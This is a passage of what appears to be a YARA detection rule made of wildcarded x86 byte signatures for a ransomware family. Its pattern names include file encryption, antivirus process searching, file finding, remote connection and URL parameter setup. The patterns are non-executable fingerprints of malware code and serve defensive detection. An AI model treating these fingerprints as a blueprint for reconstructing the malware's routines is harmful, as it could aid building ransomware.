0F 84 ?? ?? ?? ?? 6A ?? - 8D 45 ?? 50 68 ?? ?? ?? ?? 57 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? 89 - 45 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? - ?? 8B 5D ?? 68 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 5F 5E 8B C3 5B 8B E5 5D C3 - } - $crypt_files_v3 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? C7 45 - ?? ?? ?? ?? ?? 50 6A ?? 8B D9 8B CA 6A ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 6A ?? 68 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D6 8B F8 C7 45 ?? ?? ?? ?? ?? 53 57 89 7D ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 57 FF 15 ?? ?? - ?? ?? 66 0F 6F 05 ?? ?? ?? ?? BA ?? ?? ?? ?? F3 0F 7F 85 ?? ?? ?? ?? 51 66 0F 6F 05 - ?? ?? ?? ?? 8D 4D ?? F3 0F 7F 45 ?? C6 45 ?? ?? 66 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 - ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D6 F3 0F 6F 85 ?? ?? ?? ?? 8B F8 6A ?? 68 ?? ?? - ?? ?? 68 ?? ?? ?? ?? F3 0F 7F 07 6A ?? F3 0F 6F 45 ?? 89 7D ?? F3 0F 7F 47 ?? FF D6 - F3 0F 6F 45 ?? 68 ?? ?? ?? ?? 89 45 ?? F3 0F 7F 00 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 - 57 FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 C4 ?? - 85 C0 75 ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? EB ?? 68 ?? - ?? ?? ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? - FF 15 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? 8B 75 ?? 8B 5D ?? E9 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? - 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? - ?? 6A ?? FF 75 ?? FF D7 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 0F 57 C0 66 0F 13 45 ?? - 8B 75 ?? 8B 5D ?? E9 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF D6 6A ?? 8B D8 - 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? C7 03 ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? FF D6 8B - 3D ?? ?? ?? ?? 33 F6 33 C9 89 45 ?? 89 4D ?? EB ?? 8B 45 ?? 6A ?? 8D 4D ?? 51 68 ?? - ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 - ?? ?? ?? ?? 3D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - 0F 42 F1 01 03 83 53 ?? ?? 8B 45 ?? 89 45 ?? 89 45 ?? A8 ?? 74 ?? 8B FF 40 A8 ?? 75 - ?? 89 45 ?? 6A ?? 68 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? FF 75 ?? 89 45 ?? FF 75 - ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 89 45 ?? 6A ?? 68 ?? ?? ?? ?? 50 6A ?? FF 15 - ?? ?? ?? ?? 85 C0 74 ?? 8B 55 ?? 8B 4D ?? 50 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 8D 45 - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 8B 4D ?? 8B 45 ?? - F7 D9 6A ?? 83 D0 ?? 6A ?? F7 D8 50 51 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 - ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 - ?? BE ?? ?? ?? ?? 89 75 ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 85 F6 0F 84 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 8B 4D ?? 8B 75 ?? 85 C9 75 ?? 51 8D 45 ?? 50 - 68 ?? ?? ?? ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? FF 75 - ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? 53 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? - ?? ?? ?? 8B 03 8B 73 ?? 68 ?? ?? ?? ?? 6A ?? 53 89 45 ?? FF D7 68 ?? ?? ?? ?? 6A ?? - FF 75 ?? FF D7 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 8B 5D ?? 68 ?? ?? ?? ?? 6A ?? FF - 75 ?? FF D7 5F 8B D6 8B C3 5E 5B 8B E5 5D C3 - } - $search_antivirus_processes_v5 = { - 8B 7D ?? 6A ?? 53 6A ?? 33 DB 89 07 53 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF - D6 8B F0 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 6A ?? C7 06 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 53 56 FF 15 ?? ?? ?? ?? EB ?? 56 33 C9 89 - 5D ?? 50 89 5D ?? 89 4D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F - 85 ?? ?? ?? ?? 33 C0 8D 4E ?? 89 45 ?? 51 FF 74 85 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? - 8B 45 ?? 8D 4E ?? 40 89 45 ?? 83 F8 ?? 72 ?? EB ?? 33 C0 39 45 ?? 8D 58 ?? 8D 46 ?? - 50 FF 37 75 ?? FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 37 FF 15 - ?? ?? ?? ?? FF 45 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 8D 0C 41 8B 45 ?? - 81 F9 ?? ?? ?? ?? 89 4D ?? 59 0F 47 C1 89 45 ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 - 74 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 85 DB 74 ?? 8B 07 33 C9 66 39 08 - 74 ?? 50 FF 15 ?? ?? ?? ?? 8B 0F 33 D2 66 89 54 41 ?? 8B 45 ?? 8B 4D ?? 89 08 68 ?? - ?? ?? ?? 33 C0 50 56 8B 35 ?? ?? ?? ?? FF D6 FF 75 ?? FF 15 ?? ?? ?? ?? 85 DB 75 ?? - 68 ?? ?? ?? ?? 33 C0 50 FF 37 FF D6 8B C3 5F 5E 5B 8B E5 5D C2 - } - $find_files_v5 = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 33 FF 89 54 24 ?? 8B F1 89 7C 24 ?? 39 - 7D ?? 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 85 C0 75 ?? 85 DB 75 ?? 33 C0 E9 - ?? ?? ?? ?? 33 DB 43 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 74 ?? 8D 54 24 ?? - 89 7C 24 ?? 8B CE E8 ?? ?? ?? ?? 89 44 24 ?? 39 7C 24 ?? 75 ?? 56 FF 15 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 57 57 8D 44 24 ?? 50 - 6A ?? 56 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24 ?? 66 89 11 83 F8 ?? 75 ?? BF - ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 - ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF - 15 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 85 DB 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? - 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8B 54 24 ?? 8B CE E8 ?? ?? ?? - ?? EB ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 57 EB ?? FF 74 24 ?? 8D 54 24 ?? 8B CE - E8 ?? ?? ?? ?? 59 8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? - ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? - ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3 - } - $crypt_files_v5 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B D9 89 55 ?? 33 FF 89 5D ?? 21 7D ?? B9 ?? ?? - ?? ?? 89 7D ?? E8 ?? ?? ?? ?? 8B F0 89 75 ?? 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? FF 75 - ?? 8D 55 ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8B CE E8 ?? ?? ?? ?? EB ?? - 33 C0 50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B D8 83 FB - ?? 75 ?? 33 C0 50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? - ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? FF 70 ?? FF 70 ?? 6A ?? 6A ?? 53 FF 15 - ?? ?? ?? ?? 6A ?? 58 C6 45 ?? ?? 48 75 ?? 51 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 8E ?? ?? ?? ?? 21 7D ?? 21 7D ?? 41 89 45 ?? - 8B 45 ?? 89 45 ?? E8 ?? ?? ?? ?? 8B 8E ?? ?? ?? ?? 83 C1 ?? 89 45 ?? E8 ?? ?? ?? ?? - 89 45 ?? 33 FF 6A ?? 8D 45 ?? 50 FF B6 ?? ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 - C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 3B 86 ?? ?? ?? ?? 8B 55 ?? 6A - ?? 59 0F 42 F9 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 0F 45 7D ?? 01 86 ?? ?? ?? ?? 89 7D ?? - 83 96 ?? ?? ?? ?? ?? 8B 45 ?? 50 FF 75 ?? 89 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33 - C9 F7 D8 41 99 51 6A ?? 52 50 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 - ?? 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75 ?? 8B 7D ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? - 8D 45 ?? 50 57 56 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 75 ?? 8B 7D ?? 33 C0 40 01 86 - ?? ?? ?? ?? 83 96 ?? ?? ?? ?? ?? EB ?? 33 C0 8D 78 ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D - ?? ?? 74 ?? 6A ?? 6A ?? 0F 57 C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? - ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F8 89 7D ?? - E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? - 85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? 83 65 ?? ?? 83 65 ?? ?? 8B 35 ?? - ?? ?? ?? FF D6 8D 0C 45 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F8 33 C0 40 83 67 ?? - ?? 88 07 FF D6 FF 75 ?? 03 C0 89 47 ?? FF D6 8D 04 45 ?? ?? ?? ?? 50 FF 75 ?? 8D 47 - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 75 ?? FF D6 8D 04 45 ?? ?? ?? ?? 50 57 8D 45 - ?? 50 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 89 01 8B CF E8 ?? ?? ?? ?? 8B 7D ?? 8B 45 ?? FF - 70 ?? FF 70 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B - 8B E5 5D C3 - } - $remote_connection_v5 = { - 55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 8B F1 57 83 7E ?? ?? 74 ?? FF 76 ?? FF D3 - 8B CE E8 ?? ?? ?? ?? 33 FF 57 57 6A ?? 57 57 FF 75 ?? FF 75 ?? FF 76 ?? FF 15 ?? ?? - ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? - 83 C4 ?? B8 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C8 57 51 57 57 68 - ?? ?? ?? ?? 56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF - 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33 FF 47 EB ?? FF - 15 ?? ?? ?? ?? 8B 45 ?? 50 FF D3 56 FF D3 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B - E5 5D C2 - } - $remote_connection_v5_0_1 = { - 55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 8B F1 57 83 7E ?? ?? 74 ?? FF 76 ?? FF D3 - 8B CE E8 ?? ?? ?? ?? 33 FF 57 57 6A ?? 57 57 FF 75 ?? FF 75 ?? FF 76 ?? FF 15 ?? ?? - ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? - 83 C4 ?? B8 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C8 57 51 57 57 68 - ?? ?? ?? ?? 56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF - 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? 33 C9 41 85 C0 8B 45 ?? 0F 45 - F9 50 FF D3 56 FF D3 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C2 - } - $url_parameters_setup_v5 = { - 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? - 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? - 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 - ?? 8B 45 ?? 8D 8C 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? - 75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 - ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF - 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? FF 35 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 - ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - D1 E0 A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? D1 E0 8B D0 8B 0D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A - ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? - ?? 73 ?? 83 65 ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A - ?? FF 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ?? - ?? ?? 83 7D ?? ?? 74 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B E5 5D C3 - } - $url_parameters_setup_v5_0_1 = { - 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? - 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? - 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 - ?? 8B 45 ?? 8D 8C 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? - 75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 - ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF - 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? FF 35 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 - ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - D1 E0 A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? D1 E0 8B D0 8B 0D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A - ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? - ?? 73 ?? 83 65 ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A - ?? FF 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ?? - ?? ?? 83 7D ?? ?? 74 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B E5 5D C3 - } - $crypt_files_v5_0_1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B D9 89 55 ?? 33 FF 89 5D ?? 21 7D ?? B9 ?? ?? - ?? ?? 89 7D ?? E8 ?? ?? ?? ?? 8B F0 33 C0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 50 68 ?? - ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 75 ?? 33 C0 - 50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB - ?? 0F 84 ?? ?? ?? ?? 8B 7D ?? FF 77 ?? FF 77 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 6A - ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8D 45 ?? 50 68 - ?? ?? ?? ?? 56 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? - 81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? FF 77 ?? FF 77 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? - ?? 53 FF 15 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 6A ?? 6A ?? 0F 57 - C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? 83 65 ?? ?? 8D 55 - ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A ?? 58 C6 45 ?? ?? 48 75 ?? 51 68 - ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 8E ?? ?? - ?? ?? 83 65 ?? ?? 83 65 ?? ?? 41 89 45 ?? 8B 45 ?? 89 45 ?? E8 ?? ?? ?? ?? 8B 8E ?? - ?? ?? ?? 83 C1 ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 33 FF 6A ?? 8D 45 ?? 50 FF B6 ?? - ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 - ?? ?? ?? ?? 3B 86 ?? ?? ?? ?? 8B 55 ?? 6A ?? 59 0F 42 F9 83 7D ?? ?? 8D 8D ?? ?? ?? - ?? 0F 45 7D ?? 01 86 ?? ?? ?? ?? 89 7D ?? 83 96 ?? ?? ?? ?? ?? 8B 45 ?? 50 FF 75 ?? - 89 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33 C9 F7 D8 41 99 51 6A ?? 52 50 53 FF 15 ?? - ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75 - ?? 8B 7D ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 57 56 53 FF 15 ?? ?? ?? ?? 85 - C0 74 ?? 8B 75 ?? 8B 7D ?? 33 C0 40 01 86 ?? ?? ?? ?? 83 96 ?? ?? ?? ?? ?? EB ?? 33 - C0 8D 78 ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 0F 57 C0 66 0F 13 - 45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 53 - FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F8 89 7D ?? E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B - CE E8 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? - FF 75 ?? 83 65 ?? ?? 83 65 ?? ?? 8B 35 ?? ?? ?? ?? FF D6 8D 0C 45 ?? ?? ?? ?? E8 ?? - ?? ?? ?? FF 75 ?? 8B F8 33 C0 40 83 67 ?? ?? 88 07 FF D6 FF 75 ?? 03 C0 89 47 ?? FF - D6 8D 04 45 ?? ?? ?? ?? 50 FF 75 ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 75 - ?? FF D6 8D 04 45 ?? ?? ?? ?? 50 57 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 89 01 - 8B CF E8 ?? ?? ?? ?? 8B 7D ?? 8B 45 ?? FF 70 ?? FF 70 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? - ?? ?? 53 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3 - } - $find_files_v5_0_1 = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 33 FF 89 54 24 ?? 8B F1 89 7C 24 ?? 39 - 7D ?? 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 85 C0 75 ?? 85 DB 75 ?? 33 C0 E9 - ?? ?? ?? ?? 33 DB 43 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 74 ?? 8D 54 24 ?? - 89 7C 24 ?? 8B CE E8 ?? ?? ?? ?? 89 44 24 